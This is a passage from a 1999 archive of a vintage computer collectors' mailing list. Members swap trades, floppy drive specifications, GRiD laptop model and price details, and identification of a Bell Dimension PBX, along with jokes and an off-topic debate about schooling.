certainly had German maps. Yes, the Germans had good maps of Britain. At Bletchley I say on display a German map of the UK 132kV electrical grid, as it was in 1938... > The other thing that worries me is that Stonehenge is not the best > landmark in that area. Salisbury Cathedral's spire is probably a lot > easier to see from a distance. Unique. But not so distinctive. Stonehenge is obviously Stonehenge. Salisbury Cathedral is random_large_church_with_tall_spire. Seriously, if I emerged from cloud somewhere in the South of England, and saw Stonehenge, I'd know exactly where I was. If I emerged and saw Salisbury, I could probably work it out, but it would be a lot harder. But the original report - that Stonehenge was flattened - looks like a clear case of local telling tall story to American tourist... Philip. From Mzthompson at aol.com Tue Jan 19 12:57:30 1999 From: Mzthompson at aol.com (Mzthompson@aol.com) Date: Sun Feb 27 18:40:18 2005 Subject: Disasters and Recovery Message-ID: On Sun, 17 Jan 1999 Chuck McManis wrote: >As this list is full of folks who've dealt with the 'ravages of time' on >their collections, I was looking for things to protect against. My first thought was the pulling the battery, but someone mentioned that. That leads to another notion that I don't recall anybody mentioning. Assuming we solve all the 'ravages of time' issues, then we need to think about another issue. As an ornery question, should we not pack along with the machine a stone tablet? Engraved on the tablet is the following: "This computer and operating system are not Y2.1K compliant!" With no battery, the machine is going to present the date prompt. What will happen when they enter '1-04-2100'? On Mon 18 Jan 1999 20:40:35 Joe wrote: > Aren't zebras bar-coded ponys? > Not even signing my name! My wife wants to know then what skunks are. Mike From zmerch at 30below.com Tue Jan 19 13:10:35 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:18 2005 Subject: Infocom InvisiClues In-Reply-To: <199901191848.KAA09632@oa.ptloma.edu> Message-ID: <3.0.1.32.19990119141035.00963100@mail.30below.com> Once upon a midnight dreary, Cameron Kaiser had spoken clearly: >Well, I landed a cache of old games (including Zork II for the DEC Rainbow >but the disk appears to be missing). One of them is Witness for DOS 2.0, and >it even has the InvisiClues book -- but I don't have the marker! Does anyone >have a spare InvisiClues marker somewhere they're not using or one they might >be {willing, persuaded} to part with? Is there any "Fudgie Shops" - erm, sorry; local term -- tourist shops in your area that would handle the "Yes and Know" series of books? They're still being produced - I seem them all the time in touristy areas 'round here (but remember, I work in the 3rd oldest city in the USA - Other than snow, all we _have_ are tourists... ;-/ IIRC, those books took the same type of marker. Of course, the price of the book & shipping then make it kinda outrageous for just a pen... On the investor side of things, wouldn't the book be worth more untouched? Or have some clues been revealed already? HTH, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From Mzthompson at aol.com Tue Jan 19 12:57:34 1999 From: Mzthompson at aol.com (Mzthompson@aol.com) Date: Sun Feb 27 18:40:18 2005 Subject: Teac FD-55FV-13-U Message-ID: <22f42de7.36a4d59e@aol.com> On Sun, 17 Jan 1999 Joe wrote: > Does anyone have the specs for a Teac FD-55FV-13-U 5 1/4" floppy drive >or the URL of a website with specs for Floppy drives? Here's the info on all FD-55's I found on some website long ago. I don't have the URL anymore. Mike MANUFACTURER MODEL NO. WDTH. HGT. UNFMT'D FORMT'D RPM RATE ACC. LATN. /IN. CYLs TRKs /TRK +12v +5v (HRS) WEIGHT ADDITIONAL COMMENTS -------------------------------------------------------------------------- ------------------------------------------------------------------------------ ------------------ TEAC FD-55A 5.25 HALF 250KB 180KB 300 250Kb 93ms 100ms 48 40 40 16 0.3A 0.4A 10K 1500g SINGLE SIDED TEAC FD-55BR 5.25 HALF 500K 360KB 300 250Kb 93ms 100ms 48 40 80 16 0.3A 0.4A 20K 1500g TEAC FD-55E 5.25 HALF 500KB 360KB 300 250Kb 93ms 100ms 96 80 80 16 0.3A 0.4A 10K 1500g SINGLE SIDED TEAC FD-55FV 5.25 HALF 1.0MB 720KB 300 250Kb 93ms 100ms 96 80 160 16 0.3A 0.4A 10K 1500g TEAC FD-55GFR 5.25 HALF 1.6MB 1.20MB DUAL 500Kb 91ms 83ms 96 80 160 15 0.3A 0.4A 20K 1500g DUAL SPEED TEAC FD-55GR 5.25 HALF 1.6MB 1.20MB 360 500Kb 91ms 83ms 96 77 154 15 0.3A 0.4A 10K 1500g TEAC FD-55GS 5.25 HALF 1.6MB 1.20MB DUAL 500Kb 91ms 83ms 96 80 160 15 0.3A 0.4A 20K 1500g DUAL SPEED, SCSI From bill at chipware.com Tue Jan 19 13:08:30 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:18 2005 Subject: C1P (was: more auction silliness...) In-Reply-To: <199901191840.SAA12678@nixpbe.pdb.sni.de> Message-ID: <001b01be43df$19ef1720$bb88e9cf@yamato.chipware.com> Hans Franke wrote: > > Well, I see my Ohio Scientific collection is going to > > start increasing in value... A C-1P for $405 US!?!? > > Well, I could also imagine to pay for a C1P in case and > good condition 100 USD and up ... > > > I'M RICH! I'M RICH! I'M FABULOUSLY WEALTHY! > > > (Doing my best Daffy Duck impression) > > > Have you seen that only models that have a crack in the > main PCB are this worth ? > <..> Are you saying that the one on ebay had a cracked mainboard? Bill Sudbrink From zmerch at 30below.com Tue Jan 19 13:21:04 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:18 2005 Subject: Baa-aa-aad jokes... In-Reply-To: References: Message-ID: <3.0.1.32.19990119142104.009312d0@mail.30below.com> On Mon, 18 Jan 1999, Tony Duell wrote: > > > > But where can you find a drive that can read a sheep? > > You mean you've not come across baa-code readers :-) I have...but didn't have enough RAM to use it! ;-) "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From kbd at ndx.net Tue Jan 19 13:11:56 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:18 2005 Subject: Unibus boards for trade In-Reply-To: <199901191806.NAA17926@user2.infinet.com> Message-ID: <000a01be43df$94bdfe80$0a00000a@oemcomputer> > M9313 - UET Unibus Excercisor and Terminator > M9202 - UNIBUS backplane jumper > M7793 - Half of a DEUNA. > M7793 - Half of a DEUNA (perhaps you have an M7792 and cables?) > M7258 - LP11 > M8396 - DMF32 Oops, I have 2 sets of DEUNA cards (2 M7793 & 2 M7792) but only one cabinet kit (which is spoken for). I'm going check back today and see if the place I got it from has another. > > > The things I'm looking for are: > > > > RCA1802 related stuff - Especially a manual and/or schematics > for a Quest > > Super ELF. > > I have a fairly good collection of 1802 docs from the 1970's and 1980's.. > > > Is that worth a trade? Sure. Does your collection include info on the Quest version of the ELF? Kirk (kbd@ndx.net) From erd at infinet.com Tue Jan 19 13:37:09 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:18 2005 Subject: Unibus boards for trade In-Reply-To: <000a01be43df$94bdfe80$0a00000a@oemcomputer> from "Kirk Davis" at Jan 19, 99 11:11:56 am Message-ID: <199901191937.OAA19682@user2.infinet.com> > Oops, I have 2 sets of DEUNA cards (2 M7793 & 2 M7792) but only one cabinet > kit (which is spoken for). I'm going check back today and see if the place > I got it from has another. I'd be interested in a DEUNA. I have a couple of 11/750's and I'd like to get one on the network. > > > > > The things I'm looking for are: > > > > > > RCA1802 related stuff - Especially a manual and/or schematics > > for a Quest > > > Super ELF. > > > > I have a fairly good collection of 1802 docs from the 1970's and 1980's.. > > > > > > Is that worth a trade? > > Sure. Does your collection include info on the Quest version of the ELF? > It does. I have an original Quest Elf with docs. -ethan From eric at brouhaha.com Tue Jan 19 13:53:22 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:18 2005 Subject: y2k stuff In-Reply-To: (Jgzabol@aol.com) References: Message-ID: <19990119195322.11470.qmail@brouhaha.com> John wrote: > Eric, you seem to have quite some info on the Stretch; do you have any > source of (original or other doc) on this or the other early IBM computers ? > There is of course the book by Bashe et al, but I find it difficult to > locate more info. Unfortunately not. The Bashe book (_IBM's_Early_Computers_) is the best general source I've found. For Stretch, the book _Planning_a_Computer_System_ is essential, but I haven't found comparable books on any of the early IBM machines. The UC Libraries have some old manuals and books that I'd love to look at, but even if I pay $300 for a library card at a nearby UC campus, that won't let me order anything through interlibrary loan from the other UC collections. :-( From marvin at rain.org Tue Jan 19 14:24:58 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:18 2005 Subject: Ebay: Kaypro Robbie References: <19990119195322.11470.qmail@brouhaha.com> Message-ID: <36A4EA1A.CAC931FD@rain.org> I saw this and thought others on the list might be interested. This machine was discussed a while back, but I don't recall if it was on this list or with some other person. IIRC, the disks are special and come pre-formatted in a way that is not easy to duplicate. A friend of mine has one along with disks and software, and I *think* the manual. If anyone has successfully formatted disks for use with the Robbie, I would be most interested in finding out how! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=57592270 From dastar at ncal.verio.com Tue Jan 19 14:58:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:18 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, John Lawson wrote: > > > On Mon, 18 Jan 1999, Tony Duell wrote: > > > > > > > But where can you find a drive that can read a sheep? > > > > You mean you've not come across baa-code readers :-) > > > > -tony > > > > My Gawd, Tony..... how dare ewe???? Surely he'll have to go on the lamb to get away from the fallout of this one. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From DSEAGRAV at toad.xkl.com Tue Jan 19 14:58:45 1999 From: DSEAGRAV at toad.xkl.com (Daniel A. Seagraves) Date: Sun Feb 27 18:40:18 2005 Subject: Is this a telco switch? Or a PBX? Message-ID: <13421215516.9.DSEAGRAV@toad.xkl.com> Come across something in the basement. Working on making it mine. It's a 6" rack labeled "[Bell logo] DIMENSION". Has a serial port and lots of trunk connectors. Is this a telco switch? ------- From pechter at monmouth.com Tue Jan 19 15:00:46 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:18 2005 Subject: Is this a telco switch? Or a PBX? In-Reply-To: <13421215516.9.DSEAGRAV@toad.xkl.com> from "Daniel A. Seagraves" at "Jan 19, 99 12:58:45 pm" Message-ID: <199901192100.QAA01656@pechter.nws.net> > Come across something in the basement. Working on making it mine. > It's a 6" rack labeled "[Bell logo] DIMENSION". Has a serial port and lots > of trunk connectors. Is this a telco switch? Sounds like a Dimension PBX. --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From mtapley at swri.edu Tue Jan 19 15:11:31 1999 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 18:40:18 2005 Subject: Disasters and Recovery In-Reply-To: <199901190802.AAA19829@lists4.u.washington.edu> Message-ID: Ward Griffiths wrote: >...I really wouldn't expect a modern computer to manage more >than a few decades at best unless somebody developed a functional >"stasis field", and we need a major breakthrough in theoretical >physics -- and the followup engineering -- for that to happen. >... Ward, I'm surprised! There are at least two ways to do this with current physics: 1) put it way down deep in a gravity well. It'll have to be a *big* gravity well to get the potential difference without generating tidal stresses severe enough to threaten the structure of the computer. Pull it back out when you are ready for it. 2) Accelerate it up to near 300,000 km/sec. Take a couple of months, of course, else you'll generate acceleration-induced specific forces which again might be dangerous to the classic computer. Run it in a big circle, then decelerate it again at the destination date. It'll be in *much* better shape than its twins left at home, per Al Einstein's classic. Followup engineering, I admit, needs a breakthrough or two..... - Mark - Mark ----------------------------------------------------------------------- Large Asteroids headed toward planets inhabited by beings that don't have technology adequate to stop them: Think of it as Evolution in Fast-Forward. From dastar at ncal.verio.com Tue Jan 19 15:20:37 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:18 2005 Subject: Looking for Buck Savage In-Reply-To: <4.1.19990119105652.00af75f0@206.231.8.2> Message-ID: On Tue, 19 Jan 1999, Christian Fandt wrote: > I'm trying to contact one of our (past?) list members who used to hang out > here. Have any of you folks in California heard where Buck is now (aka > William Buckley)? He lives in the next town over and we were supposed to get together for lunch but I have the same story. He hasn't responded to any of my e-mails (or phone calls) since that time. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From Marty at itgonline.com Tue Jan 19 15:30:11 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP Message-ID: <1999Jan19.162855.1767.182582@smtp.itgonline.com> While out junking at lunch I met a gent who said he has a Grid Laptop with a metal case (he said this model went to the moon) and uses bubble memory. He said he'd entertain selling it but I've no idea what to offer. Any ideas on what to offer or any info on this laptop? I'd appreciate and info. Thanks, Marty marty@itgonline.com From dastar at ncal.verio.com Tue Jan 19 15:38:58 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:18 2005 Subject: Is this a telco switch? Or a PBX? In-Reply-To: <13421215516.9.DSEAGRAV@toad.xkl.com> Message-ID: On Tue, 19 Jan 1999, Daniel A. Seagraves wrote: > Come across something in the basement. Working on making it mine. > It's a 6" rack labeled "[Bell logo] DIMENSION". Has a serial port and lots > of trunk connectors. Is this a telco switch? Sounds like it, but need more information. Dimension definitely sounds familiar but can't quite place it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From DSEAGRAV at toad.xkl.com Tue Jan 19 15:42:30 1999 From: DSEAGRAV at toad.xkl.com (Daniel A. Seagraves) Date: Sun Feb 27 18:40:18 2005 Subject: Is this a telco switch? Or a PBX? In-Reply-To: Message-ID: <13421223481.9.DSEAGRAV@toad.xkl.com> [Needs more info] OK, I'll try seeing what I can dig up. ------- From jimw at agora.rdrop.com Tue Jan 19 15:43:08 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:18 2005 Subject: Is this a telco switch? Or a PBX? In-Reply-To: <13421215516.9.DSEAGRAV@toad.xkl.com> Message-ID: On Tue, 19 Jan 1999, Daniel A. Seagraves wrote: > Come across something in the basement. Working on making it mine. > It's a 6" rack labeled "[Bell logo] DIMENSION". Has a serial port and lots > of trunk connectors. Is this a telco switch? > ------- Sounds like a (more or less standard) Dimension PBX, which more to the interest of folk around here is a reasonably chunky UNIX based system will a bunch of telephone switching gear attached as a peripheral. ...and I take you meant a 6' (foot) rack rather than a 6" (inch) rack... Unless of course you have stumbled upon the top-secret nanotechnology based prototype of the 'Next Generation' phone switch. B^} In which case of course the MIBs will be arriving shortly... -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From bsa3 at cornell.edu Tue Jan 19 15:48:14 1999 From: bsa3 at cornell.edu (Brad Ackerman) Date: Sun Feb 27 18:40:18 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, Tony Duell wrote: > How many electronic technicians can still handle valves/tubes? Quite a bunch, actually, especially those who fix radio equipment. Good RF (and AF) amplifiers use valves. Brad Ackerman N1MNB "...faced with the men and women who bring home bsa3@cornell.edu the pork, voters almost always re-elect them." http://skaro.pair.com/ -- _The Economist_, 31 Oct 1998 From doug at blinkenlights.com Tue Jan 19 15:50:40 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <1999Jan19.162855.1767.182582@smtp.itgonline.com> Message-ID: On Tue, 19 Jan 1999, Marty wrote: > While out junking at lunch I met a gent who said he has a Grid Laptop > with a metal case (he said this model went to the moon) and uses > bubble memory. He said he'd entertain selling it but I've no idea what > to offer. Any ideas on what to offer or any info on this laptop? I'd > appreciate and info. The first GRiD was made in 1982, and I don't think we've been to the moon since a bit before that. However, several models of GRiDs were used in the space shuttle. Find out which model it is, first. The early models are pretty hard to find (I think less than 10,000 were made). If you're thinking of paying Real Money (TM), let me sell you one of mine! -- Doug From kyrrin at bluefeathertech.com Tue Jan 19 16:06:33 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:18 2005 Subject: Is this a telco switch? Or a PBX? In-Reply-To: <13421215516.9.DSEAGRAV@toad.xkl.com> Message-ID: <3.0.5.32.19990119140633.00926c70@mail.bluefeathertech.com> At 12:58 19-01-1999 -0800, you wrote: >Come across something in the basement. Working on making it mine. >It's a 6" rack labeled "[Bell logo] DIMENSION". Has a serial port and lots >of trunk connectors. Is this a telco switch? Lucky for you lot that I've spent a lot of time in the telephone industry. ;-) What you have there, Daniel, is a Dimenision PBX. It requires a special operator console, and in some cases special phones, in order to work. They're -neat- to play with. A friend of mine used to manage one. If you can find the rest of it (docs, console, whatever), you can actually run a PBX of your Very Own. ;-) Too bad you're not nearer to WA, or I'd come by and give you a hand with it. I speak Bell System pretty fluently. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com Amateur Radio:(WD6EOS) E-mail: kyrrin@bluefeathertech.com SysOp: The Dragon's Cave (Fido 1:343/272, 253-639-9905) "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From mcdonoughk at un.org Tue Jan 19 15:51:18 1999 From: mcdonoughk at un.org (Kirk McDonough) Date: Sun Feb 27 18:40:18 2005 Subject: Apple II FAQ location? Message-ID: <9901199167.AA916783467@mail-out.un.org> >:: Now that Nathan Mates is no longer maintaining the Apple II FAQ, who is? >::I just wanted to update the local copies of some of my FAQs. >:: Check out http://www.lib.ox.ac.uk/internet/news/faq/comp.sys.apple2.html -- Kirk From Marty at itgonline.com Tue Jan 19 16:30:14 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP Message-ID: <1999Jan19.172909.1767.182614@smtp.itgonline.com> Were all the Grids in a metal case with bubble memory? ______________________________ Reply Separator _________________________________ Subject: Re: GRID LAPTOP Author: classiccmp@u.washington.edu at internet Date: 1/19/99 4:53 PM On Tue, 19 Jan 1999, Marty wrote: > While out junking at lunch I met a gent who said he has a Grid Laptop > with a metal case (he said this model went to the moon) and uses > bubble memory. He said he'd entertain selling it but I've no idea what > to offer. Any ideas on what to offer or any info on this laptop? I'd > appreciate and info. The first GRiD was made in 1982, and I don't think we've been to the moon since a bit before that. However, several models of GRiDs were used in the space shuttle. Find out which model it is, first. The early models are pretty hard to find (I think less than 10,000 were made). If you're thinking of paying Real Money (TM), let me sell you one of mine! -- Doug ------ Message Header Follows ------ Received: from lists2.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan19.165321.1767.93695; Tue, 19 Jan 1999 16:53:22 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA03303; Tue, 19 Jan 1999 13:50:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA1 2986 for ; Tue, 19 Jan 1999 13:50:51 -0800 Received: from genco.haggle.com (IDENT:doug@genco.haggle.com [209.49.57.4]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA27 201 for ; Tue, 19 Jan 1999 13:50:50 -0800 (PST) Received: from localhost (doug@localhost) by genco.haggle.com (8.8.5/8.8.5) with SMTP id QAA26623 for ; Tue, 19 Jan 1999 16:50:40 -0500 Message-Id: Date: Tue, 19 Jan 1999 16:50:40 -0500 (EST) Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: Doug To: "Discussion re-collecting of classic computers" Subject: Re: GRID LAPTOP In-Reply-To: <1999Jan19.162855.1767.182582@smtp.itgonline.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Discussion re-collecting of classic computers X-Sender: doug@genco.haggle.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From sinasohn at ricochet.net Tue Jan 19 16:38:18 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:18 2005 Subject: GRiDPad 1910's Message-ID: <3.0.16.19990119123409.65175a32@ricochet.net> I have a line on quite a few GRiDPad 19xx computers. These are the keyboardless slates sometimes called "post-it" computers, due to the ease of just sticking them on a wall or anywhere convenient. I believe they were also used on the shuttle at one point. They are DOS machines, 8088 I believe. These machines appear to be in pretty decent shape, with nice cases. The ones I saw were 1910's, but there may be some 1900 or other, similar models in the bunch. They are untested, and I don't know if they come with pens or not. I think I can get them for $15-20 each. Shipping in the US would probably be around $3-5. Figure less than $25 total. (I will seriously try to get them for less, and I won't be making anything on these.) If there is interest, I'll pursue it further; if not, I'll grab a couple for myself and let the rest go whereever they want. Please reply off-list! (We don't need a zillion "I want one!" messages spewing all over the 'net.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Tue Jan 19 16:38:23 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:18 2005 Subject: Kaypros and Osbornes Message-ID: <3.0.16.19990119130108.64ef9a72@ricochet.net> At 10:27 PM 1/15/99 -0600, you wrote: >> Are Osbornes really that much harder to find than Kaypros? eBay currently >> seems awash in Kaypros for under $30... > >Both machines were very popular in their time and have no collector value >beyond whatever sentimental value they have for you. Well, I currently wouldn't pay for an Osborne 1 or executive, (except maybe a few dollars for a tan 1,) but I would pay for a Vixen or Encore. I would pay a bit for various Kaypros, but probably not as much as it would cost to ship one. My reasoning is that I have a lot of O1's and a few Execs, but only a KII. I think other people's reasoning is that a lot more people know about the O1 than the Kaypro, so that gets more interest/higher perceived value. Meanwhile, no one's ever heard of a Zorba, so I don't know why the two I've heard about sold for over $100. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Tue Jan 19 16:38:26 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:18 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) Message-ID: <3.0.16.19990119135221.64f7c878@ricochet.net> At 02:09 PM 1/17/99 -0400, you wrote: >> The school system's inabaility to deal with anything other >> than the mean (which they insist on defining) is one of the >> primary reasons home schooling has really taken off the last >> few years. > >It's worse than that. It's not even the mean anymore. It's the >lowest student. Um, no. The teachers at my girlfriend's school (and all the schools she works with) spend many (unpaid) hours every year planning the classes so as to accomodate the differing needs of all their students. Things like slower 1st graders are combined with advanced kindergartners so that they're best able to meet the needs of all the kids. There are many reasons why kids these days are not being educated as well as they should be. Perhaps some of the blame belongs to the "System" -- any bureaucracy can thwart the best efforts of the dedicated -- and there are indeed some people who should not be teachers. BUT, Much of the problem, if not most, however, should be placed squarely on the shoulders of those at fault: The parents[1]. (Aka voters.) No one likes to think they've screwed up their own kids and done a crappy job as a parent, so they blame the teachers. The politicians don't want to insult the voters, so they blame the teachers too, and add to the bureaucracy. Meanwhile, you have underpaid teachers, buying their own supplies, working 12 hour days, trying to teach kids whose parents proclaim "I AM NOT A TEACHER!" on the kid's homework, and tell their kids that if someone does something they don't like, they should hit them. I've done some teaching back when I was young and stupid. I got smart and gave it up because a) it's way too much work to do it right, b) it pays pretty crappy, and c) kids are a PITA. Give it a try, and then come back and tell me it's the teacher's fault. [1] If you read to your kids every day, spend your non-working time taking them to museums, plays, camping, etc., work with them on what they're interested in, even if it means giving up watching football, spending time with your friends, and so on, then this doesn't apply to you. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Tue Jan 19 16:38:27 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:18 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) Message-ID: <3.0.16.19990119135708.652fe428@ricochet.net> At 07:53 PM 1/17/99 +0000, you wrote: >Of course being cynical, I could say that it's easier on the teacher to >have to teach less complex stuff. I am not saying the the lowest students >are the easiest to teach, but the brightest ones certainly aren't. The >latter are likely to question just about everything that the teacher says >(as I was known to do...) Actually, that's not true. The easiest thing for the teacher to do is to give kids lessons that a) interest them and b) are at their level. Lessons that are too difficult are frustrating and lessons that are too simple are boring. Either way, you end up with kids looking for something else to do, which is generally cause trouble (for the teacher.) (Speaking from experience on both sides of the issue.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From doug at blinkenlights.com Tue Jan 19 16:50:42 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP In-Reply-To: <1999Jan19.172909.1767.182614@smtp.itgonline.com> Message-ID: On Tue, 19 Jan 1999, Marty wrote: > Were all the Grids in a metal case with bubble memory? No, only the earlier Compass and Compass II models, but there were several different models. (And the metal case is a magnesium alloy.) -- Doug From ckaiser at oa.ptloma.edu Tue Jan 19 16:56:39 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:18 2005 Subject: Kaypros and Osbornes In-Reply-To: <3.0.16.19990119130108.64ef9a72@ricochet.net> from "Uncle Roger" at Jan 19, 99 02:38:23 pm Message-ID: <199901192256.OAA13056@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 555 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990119/caf2b900/attachment.ksh From sinasohn at ricochet.net Tue Jan 19 16:53:14 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP Message-ID: <3.0.16.19990119145248.2a7f1538@ricochet.net> At 04:30 PM 1/19/99 -0500, you wrote: > While out junking at lunch I met a gent who said he has a Grid Laptop > with a metal case (he said this model went to the moon) and uses > bubble memory. He said he'd entertain selling it but I've no idea what > to offer. Any ideas on what to offer or any info on this laptop? I'd > appreciate and info. Could be any one of several models. If it really uses Bubble Memory, it's probably a Compass (model 11xx). That, I'd pay a bit of money for, maybe as much as $50 if it's working. More likely, it's a GRiDCase and maybe worth $20 at most. If, on the other hand, it's a Convertible (2260 or 2270), you're talking real money again; I'd pay $100 for a 2270. The one that was used on the shuttle (I don't think the shuttle ever landed on the moon?) was (iirc) the GRiDPad 19xx, see my other message about those. If it turns out to be a 1535 (or other model with both the Gas Plasma screen and battery power), let Derek Peschel know; he's been looking for one for a while. (I have been trying to find one unsuccessfully for him.) Aside from the bubble memory and the magnesium case, btw, the Compass was the first of the clamshell style computers. Beat the Gavilan by half a year at least. (And no, the Gavilan wasn't the second clamshell either.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From roblwill at usaor.net Tue Jan 19 19:52:54 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP Message-ID: <01be4417$98368900$508ea6d1@the-general> I remember once seeing a GRiD 386 laptop that looked _exactly_ like a Tandy 3800, but was made of the aluminum alloy, was white, and said on the top case that it was Panasonic (I think. The top cover was labeled with something other than GRiD or Tandy). The bottom label said "manufactured for {Company X} by GRiD". Anyone ever hear of something like this? I was going to pick one up, but they wanted $300 for one. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Doug To: Discussion re-collecting of classic computers Date: Tuesday, January 19, 1999 2:51 PM Subject: Re: Re[2]: GRID LAPTOP >On Tue, 19 Jan 1999, Marty wrote: > >> Were all the Grids in a metal case with bubble memory? > >No, only the earlier Compass and Compass II models, but there were several >different models. (And the metal case is a magnesium alloy.) > >-- Doug > > From Marty at itgonline.com Tue Jan 19 17:06:20 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:18 2005 Subject: GRID LAPTOP Message-ID: <1999Jan19.180523.1767.182643@smtp.itgonline.com> ______________________________ Reply Separator _________________________________ Subject: Re: GRID LAPTOP Author: classiccmp@u.washington.edu at internet Date: 1/19/99 5:56 PM At 04:30 PM 1/19/99 -0500, you wrote: > While out junking at lunch I met a gent who said he has a Grid Laptop > with a metal case (he said this model went to the moon) and uses > bubble memory. He said he'd entertain selling it but I've no idea what > to offer. Any ideas on what to offer or any info on this laptop? I'd > appreciate and info. Could be any one of several models. If it really uses Bubble Memory, it's probably a Compass (model 11xx). That, I'd pay a bit of money for, maybe as much as $50 if it's working. More likely, it's a GRiDCase and maybe worth $20 at most. If, on the other hand, it's a Convertible (2260 or 2270), you're talking real money again; I'd pay $100 for a 2270. >>The one that was used on the shuttle (I don't think the shuttle ever >>landed on the moon?) was (iirc) the GRiDPad 19xx, see my other message >>about those. All those years of killing brain cells are finally catching up to me. It's been a rough day and I wasn't thinking. Thanks for the info. I don't really need another pc but you know how that goes.... If it turns out to be a 1535 (or other model with both the Gas Plasma screen and battery power), let Derek Peschel know; he's been looking for one for a while. (I have been trying to find one unsuccessfully for him.) Aside from 